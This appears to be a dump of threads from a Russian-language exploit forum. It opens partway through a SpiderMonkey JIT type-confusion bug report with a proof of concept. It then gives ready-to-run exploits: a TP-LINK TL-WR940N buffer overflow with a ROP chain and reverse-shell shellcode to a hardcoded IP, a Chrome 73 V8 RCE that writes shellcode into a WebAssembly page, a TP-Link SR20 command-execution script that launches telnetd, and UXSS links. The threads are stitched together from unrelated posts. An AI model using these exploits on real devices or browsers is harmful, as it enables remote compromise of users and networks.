* The Shape [4] of the object which indicates the location of properties. A Shape could e.g. tell that property .p is stored in the 2nd property slot
* Property storage [5]: a dynamically sized array in which the property values are stored. The Shapes provide indices into this array
* Element storage [6]: a dynamically sized array in which elements (properties with an integer key) are stored

Spidermonky makes use of type inference to perform various optimizations in the JIT. Specifically, type inference is used to predict the types of object properties and then omit runtime type checks for them. Such a type inference system for property values is only safe as long as every property store to an object validates that the type of the new value is consistent with the existing type information or, if not, updates (\"widens\") the inferred type. In Spidermonkey's interpreter this is done in e.g. AddOrChangeProperty [7]. In the JIT compiler (IonMonkey), this is done through \"type barriers\" [8]: small runtime type checks that ensure the written value is consistent with what is stored as inferred type and otherwise bail out from the JITed code.

# Crashing Testcase

The following program, found through fuzzing and then manually modified, crashes Spidermonkey with an assertion that verifies that type inference data is consistent with the actual values stored as properties:

    function hax(o, changeProto) {
        if (changeProto) {
            o.p = 42;
            o.__proto__ = {};
        }
        o.p = 13.37;
        return o;
    }

    for (let i = 0; i < 1000; i++) {
        hax({}, false);
    }

    for (let i = 0; i < 10000; i++) {
        let o = hax({}, true);
        eval('o.p'); \t\t\t// Crash here
    }


Crashes in debug builds of Spidermonkey with:

    Assertion failure: [infer failure] Missing type in object [Object * 0x327f2ca0aca0] p: float, at js/src/vm/TypeInference.cpp:265
    Hit MOZ_CRASH() at js/src/vm/TypeInference.cpp:266

This assertion expresses that type inference data is inconsistent for the property .p as the type \"float\" is not in the list of possible types but the property currently holds a float value.

# Bug Analysis

In essence it appears that IonMonkey fails to realize that the ObjectGroup of the object `o` can change throughout the function (specifically during the prototype change) and thus incorrectly omits a type barrier for the second property assignment, leading to inconsistent type inference information after the property assignment.

In detail, the following appears to be happening:

The first loop runs and allocates NativeObjects with ObjectGroup OG1 and Shape S1. After some iterations the function hax is JIT compiled. At that point, the compiled code will expect to be called with an object of ObjectGroup OG1 as input. OG1 will have inferred types {.p: [float]} because the body of the if condition was never executed and so property .p was never set to a non-float value.

Then the second loop starts running, which will allocate objects using a new ObjectGroup, OG2 (I'm not exactly sure why it's a new one here, most likely some kind of heuristic) but still using Shape S1. As such, the compiled code for hax will be invalidated [9]. Then, during the first invocation of hax with changeProto == true, a new prototype will be set for o, which will

1. cause a new ObjectGroup to be allocated for O (because prototypes are stored in the object group) and
2. cause the previous object group (OG2) to discard any inferred types and set the state of inferred properties to unknown [10]. An ObjectGroup with unknownProperties is then never again used for type inference of properties [11].

At a later point in the loop, the function is recompiled, but this time it is compiled to expect an object of ObjectGroup OG1 or OG2 as input. The JIT compiled code for hax will now look something like this (pseudocode):

    // Verify that the input is an object with ObjectGroup OG1 or OG2 (actually
    // this check is performed before entering the JITed code)
    VerifyInputTypes

    if (changeProto) {
        // A SetProperty [12] inline cache [13] which will perform the actual
        // property store and speed up subsequent property stores on objects of
        // the same Shape and Group. Since a type barrier is required, the Group
        // is used as an additional index into the cache so that both Shape and
        // Group must match, in which case no inferred types could be
        // accidentially invalidated.
        SetPropertyICWithTypeBarrier o.p 42

        Call ChangePrototype(o, {})
    }

    // Another inline cache to store property .p again, but this time without a
    // type barrier. As such, only the Shape will be checked and not the Group.
    SetPropertyIC o.p 13.37

    Return o

After compilation finishes, the following happens in the first invocation of the JITed code:

* The function is called with an object of ObjectGroup OG2 and Shape S1
* The property .p is stored on the object in the first SetProperty cache. This does not update any inferred type as OG2 does not use inferred types
* The prototype of o is changed
    * This again causes a new ObjectGroup, OG3, to be allocated
    * When creating the new group, property types are inferred from the current object (this is possible because it is the only object using the new group) [14]
    * As such, o now has an ObjectGroup OG3 with inferred types {.p: [int]}
* The second propertystore cache runs into a cache miss (because it is empty at this point)
    * Execution transfers to the slow path (a runtime property store)
    * This will store the property and update the inferred types of OG3 to {.p: [int, float]}
    * It will then update the inline cache to now directly handle property stores to objects with shape S1
    * Because this SetPropertyIC is not marked as requiring a type barrier, the cache only guards on the Shape, not the Group [15]

Then, in the second invocation of the JITed code:

* As above, a new ObjectGroup OG4 is allocated for o with inferred types {.p: [int]} when changing the prototype
* The second SetPropertyIC now runs into a cache hit (because it only looks at the Shape which is still S1)
* It then directly writes the property value into the property slot without updating inferred types

As such, after the second invocation the returned object is one whose ObjectGroup (OG4) states that the property .p must be an integer but it really is a float. At this time, any validation of inferred types will crash with an assertion as happens during the runtime property lookup of .p in the call to eval().

The core issue here is that the second property store was marked as not requiring a type barrier. To understand why, it is necessary to look into the logic determining whether a property write should be guarded with a type barrier, implemented in jit::PropertyWriteNeedsTypeBarrier [16]. The logic of that function is roughly:

1. Iterate over the set of possible object types, in this case that is OG1 and OG2
2. For every group, check whether storing a value of type T (in this case float) would violate inferred property types
\t- In this case, OG1 already has the correct type for property .p, so no violation there
\t- And OG2 does not even track property types, so again no violation [17]
3. If no violations were found, no type barrier is needed

The problem is that PropertyWriteNeedsTypeBarrier operates on the possible ObjectGroups of the input object at the beginning of the function which are not necessarily the same as at the time the property store is performed. As such, it fails to realize that the input object can actually have an ObjectGroup (in this case OG4) that has inferred property types that would be violated by the property write. It then falsely determine that a type barrier is not needed, leading to the scenario described above.

# Exploitation

Exploitation of this type of vulnerability comes down to JIT compiling a function in such a way that the compiler makes use of type inference data to omit runtime type checks. Afterwards a type confusion between arbitrary objects can be achieved.

The following code demonstrates this by setting the inferred type to Uint8Array but actually storing an object with controlled property values (overlapping with internal fields of a Uint8Array) in the property. It then compiles code (the function pwn) to omit type checks on the property value based on its inferred types, thus treating the custom object as a Uint8Array and crashing when reading from 0x414141414141:

    let ab = new ArrayBuffer(1024);

    function hax(o, changeProto) {
        // The argument type for |o| will be object of group OG1 or OG2. OG1 will
        // have the inferred types {.p: [Y]}. OG2 on the other hand will be an
        // ObjectGroup with unknown property types due to the prototype change. As
        // such, OG2 will never have any inferred property types.

        // Ultimately, this code will confuse types X and Y with each other.
        // Type X: a Uint8Array
        let x = new Uint8Array(1024);
        // Type Y: a unboxed object looking a bit like a Uint8Array but with controlled data... :)
        let y = {slots: 13.37, elements: 13.38, buffer: ab, length: 13.39, byteOffset: 13.40, data: 3.54484805889626e-310};

        if (changeProto) {
            o.p = x;

            // This prototype change will cause a new ObjectGroup, OG_N, to be
            // allocated for o every time it is executed (because the prototype is
            // stored in the ObjectGroup). During creation of the new ObjectGroup,
            // the current property values will be used to infer property types. As
            // such, OG_N will have the inferred types {.p: [X]}.
            o.__proto__ = {};
        }

        // This property write was not marked as requiring type barriers to
        // validate the consistency of inferred property types. The reason is that
        // for OG1, the property type is already correct and OG2 does not track
        // property types at all. However, IonMonkey failed to realize that the
        // ObjectGroup of o could have changed in between to a new ObjectGroup that
        // has different inferred property types. As such, the type barrier
        // omission here is unsafe.
        //
        // In the second invocation, the inline cache for this property store will
        // then be a hit (because the IC only uses the Shape to index the cache,
        // not the Group). As such, the inferred types associated with the
        // ObjectGroup for o will not be updated and will be left inconsistent.
        o.p = y;

        return o;
    }

    function pwn(o, trigger) {
        if (trigger) {
            // Is on a code path that wasn't executed in the interpreter so that
            // IonMonkey solely relies on type inference instead of type profiles
            // from the interpreter (which would show the real type).
            return o.p[0];
        } else {
            return 42;
        }
    }

    // \"Teach\" the function hax that it should accept objects with ObjectGroup OG1.
    // This is required as IonMonkey needs to have at least one \"known\" type when
    // determining whether it can omit type barriers for property writes:
    // https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/MIR.cpp#L6282
    for (let i = 0; i < 10000; i++) {
        hax({}, false);
    }

    // Compile hax to trigger the bug in such a way that an object will be created
    // whose ObjectGroup indicates type X for property .p but whose real type will
    // be Y, where both X and Y can be arbitrarily chosen.
    let evilObj;
    for (let i = 0; i < 10000; i++) {
        evilObj = hax({}, true);

        // Not sure why this is required here, it maybe prevents JITing of the main
        // script or similar...
        eval('evilObj.p');
    }

    // JIT compile the second function and make it rely on the (incorrect) type
    // inference data to omit runtime type checks.
    for (let i = 0; i < 100000; i++) {
        pwn(evilObj, false);
    }

    // Finally trigger a type confusion.
    pwn(evilObj, true);

Note, this way of exploiting the issue requires UnboxedObjects [18] which have recently been disabled by default [19]. However, the bug itself does not require UnboxedObjects and can be exploited in other ways. UnboxedObjects are just the most (?) convenient way.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

[1] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/JSObject.h#L54
[2] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/NativeObject.h#L463
[3] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/ObjectGroup.h#L87
[4] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/Shape.h#L37
[5] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/NativeObject.h#L466
[6] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/NativeObject.h#L469
[7] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/NativeObject.cpp#L1448
[8] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/MIR.h#L10254
[9] https://blog.mozilla.org/javascript/2012/10/15/the-ins-and-outs-of-invalidation/
[10] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/JSObject.cpp#L2219
[11] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/TypeInference.cpp#L2946
[12] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/IonIC.h#L280
[13] https://www.mgaudet.ca/technical/2018/6/5/an-inline-cache-isnt-just-a-cache
[14] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/NativeObject.cpp#L1259
[15] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/CacheIR.cpp#L3544
[16] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/MIR.cpp#L6268
[17] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/MIR.cpp#L6293
[18] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/UnboxedObject.h#L187
[19] https://github.com/mozilla/gecko-dev/commit/26965039e60a00b3600ce2e6a559106e4a3a30ca



Found by: saelo@google.com

Тут CVE-2019-9810

RCE, TP-LINK TL-WR940N / TL-WR941ND, CVE-2019-6989
ID: 67686ba3b4103b69df379cf1
Thread ID: 28698
Created: 2019-04-10T07:48:55+0000
Last Post: 2019-04-10T07:48:55+0000
Author: weaver
Prefix: Remote
Replies: 0 Views: 2K

PoC

Python:Copy to clipboard

#Author Grzegorz Wypych - h0rac
# TP-LINK TL-WR940N/TL-WR941ND buffer overflow remote shell exploit

import requests
import md5
import base64
import string
import struct
import socket

password = md5.new('admin').hexdigest()
cookie = base64.b64encode('admin:'+password)

print '[+] Authorization cookie: ', cookie
print '[+] Login to generate user directory...'
#proxy = {'http':'127.0.0.1:8080'}

loginUrl = 'http://192.168.0.1/userRpm/LoginRpm.htm?Save=Save'
headers = {'cookie':'Authorization=Basic%20'+cookie.replace('=', '%3D')}
req = requests.get(loginUrl, headers=headers)
directory = ''

nop = "\x27\xE0\xFF\xFF"

shellcode = string.join([
        "\x24\x0f\xff\xfa", # li    t7,-6
        "\x01\xe0\x78\x27", # nor    t7,t7,zero
        "\x21\xe4\xff\xfd", # addi    a0,t7,-3
        "\x21\xe5\xff\xfd", # addi    a1,t7,-3
        "\x28\x06\xff\xff", # slti    a2,zero,-1
        "\x24\x02\x10\x57", # li    v0,4183
        "\x01\x01\x01\x0c", # syscall    0x40404
        "\xaf\xa2\xff\xff", # sw    v0,-1(sp)
        "\x8f\xa4\xff\xff", # lw    a0,-1(sp)
        "\x34\x0f\xff\xfd", # li    t7,0xfffd
        "\x01\xe0\x78\x27", # nor    t7,t7,zero
        "\xaf\xaf\xff\xe0", # sw    t7,-32(sp)
        "\x3c\x0e\x1f\x90", # lui    t6,0x1f90
        "\x35\xce\x1f\x90", # ori    t6,t6,0x1f90
        "\xaf\xae\xff\xe4", # sw    t6,-28(sp)

        # Big endian IP address 172.28.128.4
                "\x3c\x0e\xc0\xA8"  # lui       t6,0x7f01
        #"\xac\x1c\x80\x04", # lui    t6,0x7f01
        "\x35\xce\x01\x64", # ori    t6,t6,0x101

        "\xaf\xae\xff\xe6", # sw    t6,-26(sp)
        "\x27\xa5\xff\xe2", # addiu    a1,sp,-30
        "\x24\x0c\xff\xef", # li    t4,-17
        "\x01\x80\x30\x27", # nor    a2,t4,zero
        "\x24\x02\x10\x4a", # li    v0,4170
        "\x01\x01\x01\x0c", # syscall    0x40404
        "\x24\x0f\xff\xfd", # li    t7,-3
        "\x01\xe0\x78\x27", # nor    t7,t7,zero
        "\x8f\xa4\xff\xff", # lw    a0,-1(sp)
        "\x01\xe0\x28\x21", # move    a1,t7
        "\x24\x02\x0f\xdf", # li    v0,4063
        "\x01\x01\x01\x0c", # syscall    0x40404
        "\x24\x10\xff\xff", # li    s0,-1
        "\x21\xef\xff\xff", # addi    t7,t7,-1
        "\x15\xf0\xff\xfa", # bne    t7,s0,68 <dup2_loop>
        "\x28\x06\xff\xff", # slti    a2,zero,-1
        "\x3c\x0f\x2f\x2f", # lui    t7,0x2f2f
        "\x35\xef\x62\x69", # ori    t7,t7,0x6269
        "\xaf\xaf\xff\xec", # sw    t7,-20(sp)
        "\x3c\x0e\x6e\x2f", # lui    t6,0x6e2f
        "\x35\xce\x73\x68", # ori    t6,t6,0x7368
        "\xaf\xae\xff\xf0", # sw    t6,-16(sp)
        "\xaf\xa0\xff\xf4", # sw    zero,-12(sp)
        "\x27\xa4\xff\xec", # addiu    a0,sp,-20
        "\xaf\xa4\xff\xf8", # sw    a0,-8(sp)
        "\xaf\xa0\xff\xfc", # sw    zero,-4(sp)
        "\x27\xa5\xff\xf8", # addiu    a1,sp,-8
        "\x24\x02\x0f\xab", # li    v0,4011
        "\x01\x01\x01\x0c"  # syscall    0x40404
            ], '')

libcBase= 0x77f53000
sleep = libcBase + 0x53CA0
gadget1 = libcBase + 0x00055c60 # addiu $a0, $zero, 1; move $t9, $s1; jalr $t9;
gadget2 = libcBase + 0x00024ecc #lw $ra, 0x2c($sp); lw $s1, 0x28($sp); lw $s0, 0x24($sp); jr $ra;
gadget3 = libcBase + 0x0001e20c # move $t9, $s1; lw $ra, 0x24($sp); lw $s2, 0x20($sp); lw $s1, 0x1c($sp); lw $s0, 0x18($sp); jr $t9
gadget4 = libcBase + 0x000195f4 #addiu $s0, $sp, 0x24; move $a0, $s0; move $t9, $s1; jalr $t9;
gadget5 = libcBase + 0x000154d8 # #move $t9, $s0; jalr $t9;


print "[+] First gadget address: ", hex(gadget1)
print "[+] Second gadget address: ", hex(gadget2)
print "[+] Third gadget address: ", hex(gadget3)
print "[+] Fourth gadget address: ", hex(gadget4)
print "[+] Fifth gadget address: ", hex(gadget4)
print "[+] Sleep function address: ", hex(sleep) 
payload = "A"*160
s0 = "BBBB"
s1 = gadget2
payload += s0
payload += struct.pack('>I', s1)
payload += struct.pack('>I', gadget1) #Overwrite RA address
#New stack for gadget 2 starts
payload += "E" * 20 # adjust stack
payload += "FFFF" #gadget3 -> lw $s0, 0x18($sp) => 24 bytes
payload += "GGGG" #gadget3 -> lw $s1, 0x1c($sp) => 28 bytes
payload += "HHHH" #gadget3 -> lw $s2, 0x20($sp) => 32 bytes
payload += "AAAA"
payload += "CCCC"
payload += struct.pack('>I', sleep) #gadget2 -> lw $s1, 0x28($sp) => 40 bytes
payload += struct.pack('>I', gadget3) #gadget2 -> lw $ra, 0x2c($sp) => 44 bytes
#New stack for gadget 3 starts
payload += "G" *24
payload += "A"* 4 #lw $s0, 0x18($sp); sp + 24 bytes = s0
payload += struct.pack('>I', gadget5)#lw $s1, 0x1c($sp); sp + 28 bytes = s1 <= load gadget 5 addr
payload += "C" *4 #lw $s2, 0x20($sp); sp + 32 bytes = s2
payload += struct.pack('>I', gadget4) #lw $ra, 0x24($sp); sp + 36 bytes = ra <= load gadget 4 addr
#New stack for gadget 4 starts
payload += nop * 32 
payload += shellcode #addiu $s0, $sp, 0x24; sp + 36 bytes = s0

if(req.status_code):
    directory = req.text.split('=')[2].split('/')[3]
    print '[+] Retrieved folder name: ', directory
    req.close()
    referer ='http://192.168.0.1/{0}/userRpm/DiagnosticRpm.htm'.format(directory)
 
    host = '192.168.0.1'
    port = 80

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    print "[*] Connected, sending payload {0} bytes...".format(len(payload))
    pingUrl = '{1}/userRpm/PingIframeRpm.htm'.format(host,directory)
    pingUrl += '?ping_addr='+payload+'&doType=ping&isNew=new&sendNum=4&psize=64&overTime=800&trHops=20'
    auth = 'Authorization=Basic%20'+cookie.replace('=', '%3D')
    pingReq = "GET /{0} HTTP/1.1\r\nHost: {1}\r\nReferer: {2}\r\ncookie: {3}\r\n\r\n".format(pingUrl, host, referer, auth)
    print "[+] Exploit request: {0}".format(pingReq)
    s.send(pingReq)
    s.recv(4096)
    s.close()
else:
    req.close()
RCE, Chrome 73.0.3683.86, Windows 10 x64, CVE-N\A, 1-day
ID: 67686ba3b4103b69df379cf2
Thread ID: 28602
Created: 2019-04-05T08:20:21+0000
Last Post: 2019-04-09T14:41:47+0000
Author: weaver
Prefix: Remote
Replies: 1 Views: 2K

Уязвимость позволяет удаленно выполнить произвольный код на атакуемой системе.

В четверг, 4 апреля, исследователь безопасности компании Exodus Intelligence Иштван Куручай (István Kurucsai) опубликовал PoC-эксплоит и демо-видео для неисправленной уязвимости в Google Chrome. Уязвимость позволяет злоумышленнику удаленно выполнить произвольный код на системе жертвы. Проблема уже исправлена в V8 (JavaScript-движке браузера), но патч пока еще не добавлен в стабильную версию Chrome 73, используемую на более чем 1 млрд устройств.

Причина, по которой исследователь решил опубликовать PoC-эксплоит до исправления уязвимости, – желание продемонстрировать изъяны в процессе подготовки патчей. По мнению Куручая, пока Google работает над исправлениями, злоумышленники успевают создать эксплоиты и атаковать пользователей.

Задержка патчей связана с цепочкой поставок Chrome, подразумевающей импорт и тестирование кодов из различных источников. В случае с уязвимостью в движке V8 исправление было готово 18 марта, после чего оно стало доступно в журнале изменений проекта и исходном коде V8. Однако в сам браузер патч пока еще не добавлен.

В настоящее время обновление проходит все этапы сборки, включающие интеграцию с проектом Chromium, интеграцию с кодовой базой Chrome, тестирование в Chrome Canary и Chrome Beta, и только после этого патч будет добавлен в стабильную версию браузера. В результате у злоумышленников появляется «окно» от нескольких дней до нескольких недель, когда подробности об уязвимости уже известны, но стабильная версия Chrome еще не получила обновление.

Опубликованный исследователем PoC-эксплоит в своем нынешнем виде является сравнительно безобидным. Куручай специально не добавил в него возможность обхода песочницы, необходимую для выполнения кода. Тем не менее, злоумышленники могут воспользоваться им вкупе со старыми уязвимостями обхода песочницы и выполнить код на атакуемой системе.

exp.html

HTML:Copy to clipboard

<html>
    <head>
        <script src="exp.js"></script>
    </head>
    <body>
        hi there..
        <input type="button" value="Exploit me" onclick="exploit()">
    </body>
</html>

exp.js

JavaScript:Copy to clipboard

// HELPER FUNCTIONS
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
BigInt.prototype.smi2f = function() {
    int_view[0] = this << 32n;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}
Number.prototype.f2smi = function() {
    float_view[0] = this;
    return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
    return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
    return BigInt(this).smi2f();
}

// *******************
// Exploit starts here
// *******************
// This call ensures that TurboFan won't inline array constructors.
Array(2**30);

// we are aiming for the following object layout
// [output of Array.map][packed float array][typed array][Object]
// First the length of the packed float array is corrupted via the original vulnerability,
// then the float array can be used to modify the backing store of the typed array, thus achieving AARW.
// The Object at the end is used to implement addrof

// offset of the length field of the float array from the map output
const float_array_len_offset = 23;
// offset of the length field of the typed array
const tarray_elements_len_offset = 24;
// offset of the address pointer of the typed array
const tarray_elements_addr_offset = tarray_elements_len_offset + 1;
const obj_prop_b_offset = 33;

// Set up a fast holey smi array, and generate optimized code.
let a = [1, 2, ,,, 3];
let cnt = 0;
var tarray;
var float_array;
var obj;

function mapping(a) {
  function cb(elem, idx) {
    if (idx == 0) {
      float_array = [0.1, 0.2];

      tarray = new BigUint64Array(2);
      tarray[0] = 0x41414141n;
      tarray[1] = 0x42424242n;
      obj = {'a': 0x31323334, 'b': 1};
      obj['b'] = obj;
    }

    if (idx > float_array_len_offset) {
      // minimize the corruption for stability
      throw "stop";  
    }
    return idx;
  }

  return a.map(cb);
}

function get_rw() {
  for (let i = 0; i < 10 ** 5; i++) {
    mapping(a);
  }

  // Now lengthen the array, but ensure that it points to a non-dictionary
  // backing store.
  a.length = (32 * 1024 * 1024)-1;
  a.fill(1, float_array_len_offset, float_array_len_offset+1);
  a.fill(1, float_array_len_offset+2);

  a.push(2);
  a.length += 500;

  // Now, the non-inlined array constructor should produce an array with
  // dictionary elements: causing a crash.
  cnt = 1;
  try {
    mapping(a);
  } catch(e) {
    // relative RW from the float array from this point on
    let sane = sanity_check()
    console.log('sanity_check == ', sane);
    console.log('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().toString(16));
    console.log('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().toString(16));
    console.log('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().toString(16));

    let original_elements_ptr = float_array[tarray_elements_len_offset+1].f2i() - 1n;
    console.log('original elements addr: ' + original_elements_ptr.toString(16));
    console.log('original elements value: ' + read8(original_elements_ptr).toString(16));
    console.log('addrof(Object): ' + addrof(Object).toString(16));
  }
}

function sanity_check() {
  success = true;
  success &= float_array[tarray_elements_len_offset+3].f2i() == 0x41414141;
  success &= float_array[tarray_elements_len_offset+4].f2i() == 0x42424242;
  success &= float_array[tarray_elements_len_offset+8].f2i() == 0x3132333400000000;
  return success;
}

function read8(addr) {
  let original = float_array[tarray_elements_len_offset+1];
  float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
  let result = tarray[0];
  float_array[tarray_elements_len_offset+1] = original;
  return result;
}

function write8(addr, val) {
  let original = float_array[tarray_elements_len_offset+1];
  float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
  tarray[0] = val;
  float_array[tarray_elements_len_offset+1] = original;
}

function addrof(o) {
  obj['b'] = o;
  return float_array[obj_prop_b_offset].f2i();

}

var wfunc = null;
let shellcode = unescape("%u48fc%ue483%ue8f0%u00c0%u0000%u5141%u5041%u5152%u4856%ud231%u4865%u528b%u4860%u528b%u4818%u528b%u4820%u728b%u4850%ub70f%u4a4a%u314d%u48c9%uc031%u3cac%u7c61%u2c02%u4120%uc9c1%u410d%uc101%uede2%u4152%u4851%u528b%u8b20%u3c42%u0148%u8bd0%u8880%u0000%u4800%uc085%u6774%u0148%u50d0%u488b%u4418%u408b%u4920%ud001%u56e3%uff48%u41c9%u348b%u4888%ud601%u314d%u48c9%uc031%u41ac%uc9c1%u410d%uc101%ue038%uf175%u034c%u244c%u4508%ud139%ud875%u4458%u408b%u4924%ud001%u4166%u0c8b%u4448%u408b%u491c%ud001%u8b41%u8804%u0148%u41d0%u4158%u5e58%u5a59%u5841%u5941%u5a41%u8348%u20ec%u5241%ue0ff%u4158%u5a59%u8b48%ue912%uff57%uffff%u485d%u01ba%u0000%u0000%u0000%u4800%u8d8d%u0101%u0000%uba41%u8b31%u876f%ud5ff%uf0bb%ua2b5%u4156%ua6ba%ubd95%uff9d%u48d5%uc483%u3c28%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5900%u8941%uffda%u63d5%u6c61%u2e63%u7865%u0065")

function get_wasm_func() {
  var importObject = {
      imports: { imported_func: arg => console.log(arg) }
  };
  bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
  wasm_code = new Uint8Array(bc);
  wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
  return wasm_mod.exports.exported_func;
}

function rce() {
  let wasm_func = get_wasm_func();
  wfunc = wasm_func;
  console.log('wasm: ' + wfunc);
  // traverse the JSFunction object chain to find the RWX WebAssembly code page
  let wasm_func_addr = addrof(wasm_func) - 1n;
  console.log('wasm: ' + wfunc);

  let sfi = read8(wasm_func_addr + 12n*2n) - 1n;
  console.log('sfi: ' + sfi.toString(16));
  let WasmExportedFunctionData = read8(sfi + 4n*2n) - 1n;
  console.log('WasmExportedFunctionData: ' + WasmExportedFunctionData.toString(16));

  let instance = read8(WasmExportedFunctionData + 8n*2n) - 1n;
  console.log('instance: ' + instance.toString(16));

  // let rwx_addr = read8(instance + 0x108n);
  let rwx_addr = read8(instance + 0xf8n);
  console.log('rwx: ' + rwx_addr.toString(16));

  // write the shellcode to the RWX page
  if (shellcode.length % 2 != 0)
  shellcode += "\u9090";

  for (let i = 0; i < shellcode.length; i += 2) {
    write8(rwx_addr + BigInt(i*2), BigInt(shellcode.charCodeAt(i) + shellcode.charCodeAt(i + 1) * 0x10000));
  }

  // invoke the shellcode
  wfunc();
}


function exploit() {
  get_rw();
  rce();
}

Info : hxxps://blog.exodusintel.com/2019/04/03/a-window-of-opportunity/

Arbitrary command execution, TP-Link SR20 smart hub and router (and possibly other TP-Link device), 0day
ID: 67686ba3b4103b69df379cf3
Thread ID: 28532
Created: 2019-04-01T12:53:51+0000
Last Post: 2019-04-01T12:53:51+0000
Author: weaver
Prefix: Remote
Replies: 0 Views: 2K

PoC by Matthew Garrett

Python:Copy to clipboard

#!/usr/bin/python3
 
# Create /testfile in your tftp root directory with the following contents:
#
#function config_test(config)
#  os.execute("telnetd -l /bin/login.sh")
#end
#
# Replace 192.168.0.1 with the IP address of the vulnerable device
 
import binascii
import socket
 
port_send = 1040
port_receive = 61000
 
tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00
 
tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])
 
sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))
 
# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
packet = packet + b"/testfile;arbitrary"
print(packet)
sock_send.sendto(packet, ("192.168.0.1", port_send))
sock_send.close()
 
response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)
UXSS, bypass SOP, IE & Edge, 0day
ID: 67686ba3b4103b69df379cf4
Thread ID: 28519
Created: 2019-03-31T13:12:17+0000
Last Post: 2019-03-31T13:12:17+0000
Author: weaver
Prefix: Web
Replies: 0 Views: 2K

Выявленные уязвимости предоставляют возможность провести UXSS-атаку.

Специалист в области безопасности Джеймс Ли (James Lee) обнародовал PoC- коды для двух уязвимостей в Microsoft Edge и Internet Explorer, позволяющих обойти политику единого происхождения (Same Origin Policy, SOP) в браузерах. Решение о публикации принято после того, как компания Microsoft проигнорировала отчет о проблеме.

Выявленные исследователем уязвимости предоставляют возможность провести UXSS- атаку (Universal Cross-site Scripting). UXSS - ошибка в логике работы браузера, благодаря которой злоумышленник может выполнить javascript сценарий в рамках произвольного сайта.

Для успешной эксплуатации уязвимости атакующему потребуется всего лишь убедить жертву открыть вредоносный сайт. Как пояснил Ли, причина проблемы заключается в том, что API Resource Timing раскрывает адреса заданных доменов после переадресации.

Эксперт проинформировал Microsoft об уязвимости почти год назад, однако компания никак не отреагировала на его сообщение. В итоге проблема по сей день остается неисправленной.

Политика единого происхождения - функция безопасности в современных браузерах, позволяющая взаимодействовать с web-страницами с одного и того же сайта и вместе с тем предотвращать вмешательство не связанных друг с другом ресурсов.

PoCs for Microsoft Edge and Internet Explorer.
Internet Explorer: https://pwning.click/iexurl.php
Microsoft Edge: https://pwning.click/edgecrossurl2.html

Cisco RV320 Information Disclosure\Command Injection, CVE-2019-1653\CVE-2019-1652
ID: 67686ba3b4103b69df379cf6
Thread ID: 28459
Created: 2019-03-28T10:46:15+0000
